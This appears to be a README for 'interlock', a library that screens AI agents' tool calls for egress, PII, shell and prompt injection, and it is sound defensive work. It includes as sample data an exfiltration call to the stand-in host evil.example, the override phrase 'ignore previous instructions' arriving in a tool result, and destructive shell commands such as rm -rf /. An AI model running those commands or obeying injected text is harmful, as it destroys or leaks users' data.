SourceShift/InterLock

Stop a bad tool call before your AI agent makes it.
interlock checks every tool call your agent makes, inside the agent's own
process, and allows, blocks, or rewrites it before anything happens. No proxy,
no account, no network calls, and no dependencies.
python
import interlock
from interlock import Blocked, guard
from interlock.detectors import networkegressguard, piiredactionguard
@guard()
def httppost(url: str, body: str) -> str:
return f"posted to {url}: {body}"
interlock.install(rules=[
networkegressguard(allowedhosts=["api.acme.com"]), # only talk to hosts you trust
piiredactionguard(), # mask secrets and personal data
])
httppost("https://api.acme.com/notes", "Card on file: 4111 1111 1111 1111")
# -> "posted to https://api.acme.com/notes: Card on file: [REDACTED CREDITCARD]"
httppost("https://evil.example/collect", "the whole customer table")
# -> raises Blocked: blocked action 'httppost': egress to 'evil.example' is not on the destination allowlist
The first call went through with the card number masked. The second never ran.
### See it run
examples/quickstartdemo.py shows every verdict
in one go — allow, rewrite, block, and a check of what a tool returned:
console
$ python examples/quickstartdemo.py
allow -> posted to https://api.acme.com/notes: routine sync
rewrite -> posted to https://api.acme.com/notes: Card on file: [REDACTED CREDITCARD]
block -> Blocked: blocked action 'httppost': egress to 'evil.example' is not on the destination allowlist
check -> Blocked: blocked action 'fetchpage': toolresultinjection: ignore previous instructions
The third call never leaves the process. The fourth is a page that tried to
smuggle an instruction in through its own text — it never reaches the agent.
## Why interlock
Agents make mistakes, and some get tricked. Sooner or later one will run
rm -rf, send data to a host you've never heard of, or follow instructions it
found in a web page. Most guardrails watch what the model says. interlock
watches what it does, at the last moment you can still say no.
Four verdicts, not two. A call can be allowed, blocked, rewritten
(mask a secret, cap an amount, force a dry run), or held for a human who
approves that exact call, so safety doesn't always cost you the task.
Checks results too. Injected instructions arrive in tool output: a web
page, an email, a document. interlock checks what tools return before your
agent reads it.
Knows where data came from. Boundary provenance labels a tool's output
(tool:fetchurl) and a declarative source→sink rule can refuse "fetched
data must not reach an email field", even when the destination is otherwise
allowed.
One policy everywhere. The same rules guard decorated functions, MCP
sessions, LangChain tools, your own tool loop, Node.js agents, and coding
agents: Claude Code, Codex and Cursor, through their hooks.
122 ready-made detectors for prompt injection, SQL and shell injection,
secret and PII redaction, SSRF, egress, MCP server trust, budgets, and loops.
Shell rules judge what a command does, not its spelling: rm -fr ~,
bash -c 'rm -rf /' and sudo /bin/rm -Rf / are the same act.
Built for real deployments: per-tenant policies with safe delegation to